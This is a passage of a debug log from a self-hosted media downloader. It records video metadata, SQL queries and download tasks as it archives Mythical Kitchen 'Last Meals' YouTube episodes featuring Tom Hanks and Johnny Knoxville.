FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Josh is cooking Tom Hanks's last meal.\n\nDon't miss A Man Called Otto in theaters now! https://www.amancalledotto.movie\nAnd be sure to check out how you can support those who serve at https://givehanx.com\n\nFind out more about Tom Hanks' favorite sugar-free foods on Sporked: https://sporked.com/article/tom-hanks-favorite-sugar-free-foods/\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "duration" => 2234, "filename" => "/downloads/Last Meals/2023-01-19 Tom Hanks Eats His Last Meal/Tom Hanks Eats His Last Meal [xxSyov0Hjz8].mp4", "id" => "xxSyov0Hjz8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=xxSyov0Hjz8", "playlist_index" => 69, "timestamp" => 1674126029, "title" => "Tom Hanks Eats His Last Meal", "upload_date" => "20230119"} 20:48:43.701 [debug] QUERY OK source="sources" db=0.1ms idle=301.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:48:43.702 [debug] QUERY OK source="sources" db=0.0ms idle=300.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:43.702 [debug] QUERY OK source="media_items" db=0.1ms idle=299.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-01-19 11:00:29Z], 1] 20:48:43.703 [debug] QUERY OK source="media_items" db=0.6ms idle=162.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Tom Hanks's last meal.\n\nDon't miss A Man Called Otto in theaters now! https://www.amancalledotto.movie\nAnd be sure to check out how you can support those who serve at https://givehanx.com\n\nFind out more about Tom Hanks' favorite sugar-free foods on Sporked: https://sporked.com/article/tom-hanks-favorite-sugar-free-foods/\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Tom Hanks Eats His Last Meal", "428fefc3-4a3b-4013-a9da-7d53d027e1c0", "https://www.youtube.com/watch?v=xxSyov0Hjz8", false, "xxSyov0Hjz8", 2234, false, 69, "/downloads/Last Meals/2023-01-19 Tom Hanks Eats His Last Meal/Tom Hanks Eats His Last Meal [xxSyov0Hjz8].mp4", false, false, 1, [], 0, ~U[2023-01-19 11:00:29Z], ~U[2026-03-28 00:48:43Z], ~U[2026-03-28 00:48:43Z], "Today, Josh is cooking Tom Hanks's last meal.\n\nDon't miss A Man Called Otto in theaters now! https://www.amancalledotto.movie\nAnd be sure to check out how you can support those who serve at https://givehanx.com\n\nFind out more about Tom Hanks' favorite sugar-free foods on Sporked: https://sporked.com/article/tom-hanks-favorite-sugar-free-foods/\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_ (truncated) 20:48:43.703 [debug] QUERY OK source="sources" db=0.1ms idle=162.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:43.703 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:43.704 [debug] QUERY OK source="media_items" db=0.1ms idle=1.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [74] 20:48:43.704 [info] Kicking off download for media item #74 (xxSyov0Hjz8) 20:48:43.705 [debug] QUERY OK source="tasks" db=0.0ms idle=1.1ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [79, 74, ~U[2026-03-28 00:48:43Z], ~U[2026-03-28 00:48:43Z]] 20:48:43.705 [debug] Current batch of media processed. Will check again in 1000ms 20:48:44.155 [debug] Current batch of media processed. Will check again in 1000ms 20:48:44.705 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today Johnny Knoxville eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nSpecial Guests - https://www.youtube.com/playlist?list=PLW8XZTagL0oKAy7JpQqIOuGIp5A0y99B9\nIn The Kitchen - https://www.youtube.com/playlist?list=PLW8XZTagL0oIdUBwue3_no1zggtPlM64g\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS:\n0:00 Johnny's Last Meal\n0:24 Miss Hanley Said That??\n1:33 Have You Thought About Your Last Meal Before?\n3:10 How Often Do You Think About Death?\n4:00 1st Course\n5:09 Jackass Was A Blur\n7:39 Connecting Childhood to Stuntwork\n9:15 \"It Took Me A Long Time To Be Happy\"\n10:56 A Presidential Campaign Based On Cancelling Jackass\n12:35 What Jackass Could Have Been\n13:30 Working With Worldclass Athletes\n15:27 Looking Up to Mat Hoffman\n16:26 2nd Course\n17:40 Inspired by Hunter S. Thompson\n21:03 Be Careful How You Choose Your Heroes\n23:38 The Larger Cultural Impact of Jackass\n26:33 \"Captain\" \n27:36 3rd Course\n28:56 Johnny's Relationship to Fear\n31:24 Disassociation vs. Anticipation & \"Survivor's Euphoria\"\n34:34 No Boundaries \n35:15 4th Course\n37:37 Experiencing Brain Hemorrhage\n38:52 Jackass 5 Is Coming\n40:54 Write A Novel or Shove Things Up Friends' Butts?\n42:58 Do You Fear Death?\n44:46 Lightning Round\n46:44 Johnny's Last Words\n\nPick up official Mythical Kitchen merch at https://mythic.al/shop-kitchen\n\nJoin the Mythical Society: https://mythic.al/yt-msoc\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nA Hot Dog Is A Sandwhich: https://www.youtube.com/@ahotdogisasandwich\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "duration" => 2852, "filename" => "/downloads/Last Meals/2026-03-19 Johnny Knoxville Eats His Last Meal/Johnny Knoxville Eats His Last Meal [_Cfo55unVzM].mp4", "id" => "_Cfo55unVzM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=_Cfo55unVzM", "playlist_index" => 70, "timestamp" => 1773914463, "title" => "Johnny Knoxville Eats His Last Meal", "upload_date" => "20260319"} 20:48:44.705 [debug] QUERY OK source="sources" db=0.1ms idle=1001.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:48:44.706 [debug] QUERY OK source="sources" db=0.0ms idle=1001.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:44.706 [debug] QUERY OK source="media_items" db=0.1ms idle=1001.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-19 10:01:03Z], 1] 20:48:44.707 [debug] QUERY OK source="media_items" db=0.5ms idle=1001.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today Johnny Knoxville eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nSpecial Guests - https://www.youtube.com/playlist?list=PLW8XZTagL0oKAy7JpQqIOuGIp5A0y99B9\nIn The Kitchen - https://www.youtube.com/playlist?list=PLW8XZTagL0oIdUBwue3_no1zggtPlM64g\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS:\n0:00 Johnny's Last Meal\n0:24 Miss Hanley Said That??\n1:33 Have You Thought About Your Last Meal Before?\n3:10 How Often Do You Think About Death?\n4:00 1st Course\n5:09 Jackass Was A Blur\n7:39 Connecting Childhood to Stuntwork\n9:15 \"It Took Me A Long Time To Be Happy\"\n10:56 A Presidential Campaign Based On Cancelling Jackass\n12:35 What Jackass Could Have Been\n13:30 Working With Worldclass Athletes\n15:27 Looking Up to Mat Hoffman\n16:26 2nd Course\n17:40 Inspired by Hunter S. Thompson\n21:03 Be Careful How You Choose Your Heroes\n23:38 The Larger Cultural Impact of Jackass\n26:33 \"Captain\" \n27:36 3rd Course\n28:56 Johnny's Relationship to Fear\n31:24 Disassociation vs. Anticipation & \"Survivor's Euphoria\"\n34:34 No Boundaries \n35:15 4th Course\n37:37 Experiencing Brain Hemorrhage\n38:52 Jackass 5 Is Coming\n40:54 Write A Novel or Shove Things Up Friends' Butts?\n42:58 Do You Fear Death?\n44:46 Lightning Round\n46:44 Johnny's Last Words\n\nPick up official Mythical Kitchen merch at https://mythic.al/shop-kitchen\n\nJoin the Mythical Society: https://mythic.al/yt-msoc\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nA Hot Dog Is A Sandwhich: https://www.youtube.com/@ahotdogisasandwich\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Johnny Knoxville Eats His Last Meal", "5fe683b3-67e0-4ded-8b3c-e2c086b70430", "https://www.youtube.com/watch?v=_Cfo55unVzM", false, "_Cfo55unVzM", 2852, false, 70, "/downloads/Last Meals/2026-03-19 Johnny Knoxville Eats His Last Meal/Johnny Knoxville Eats His Last Meal [_Cfo55unVzM].mp4", false, false, 1, [], 0, ~U[2026-03-19 10:01:03Z], ~U[2026-03-28 00:48:44Z], ~U[2026-03-28 00:48:44Z], "Today Johnny Knoxville eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nSpecial Guests - https://www.youtube.com/playlist?list=PLW8XZTagL0oKAy7JpQqIOuGIp5A0y99B9\nIn The Kitchen - https://www.youtube.com/playlist?list=PLW8XZTagL0oIdUBwue3_no1zggtPlM64g\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS:\n0:00 Johnny's Last Meal\n0:24 Miss Hanley Said That??\n1:33 Have You Thought About Your Last Meal Before?\n3:10 How Often Do You Think About Death?\n4:00 1st Course\n5:09 Jackass Was A Blur\n7:39 Connecting Childhood to Stuntwork\n9:15 \"It Took Me A Long Time To Be Happy\"\n10:56 A Presidential Campaign Based On Cancelling Jackass\n12:35 What Jackass Could Have Been\n13:30 Working With Worldclass Athletes\n15:27 Looking Up to Mat Hoffman\n16:26 2nd Course\n17:40 Inspired by Hunter S. Thompson\n21:03 Be Careful How You Choose Your Heroes\n23:38 The Larger Cultural Impact of Jackass\n26:33 \"Captain\" \n27:36 3rd Course\n28:56 Johnny's Relationship to Fear\n31:24 Disassociation vs. Anticipation & \"Survivor's Euphoria\"\n34:34 No Boundaries \n35:15 4th Course\n37:37 Experiencing Brain Hemorrhage\n38:52 Jackass 5 Is Coming\n40:54 Write A Novel or Shove Things Up Friends' Butts?\n42:58 Do You Fear Death?\n44:46 Lightning Round\n46:44 Johnny's Last Words\n\nPick up official Mythical Kitchen merch at https://mythic.al/shop-kitchen\n\nJoin the Mythical Society: https://mythic.al/yt-msoc\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nA Hot Dog Is A Sandwhich: https://www.youtube.com/@ahotdogisasandwich\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Johnny Knoxville Eats His Last Meal", "https://www.youtube.com/watch?v=_Cfo55unVzM", "_Cfo55unVzM", 2852, false, "/downloads/Last Meals/2026-03-19 Johnny Knoxville Eats His Last Meal/Johnny Knoxville Eats His Last Meal [_Cfo55unVzM].mp4", false, 1, ~U[2026-03-19 10:01:03Z]] 20:48:44.707 [debug] QUERY OK source="sources" db=0.0ms idle=579.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:44.707 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:44.707 [debug] QUERY OK source="media_items" db=0.0ms idle=1.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN 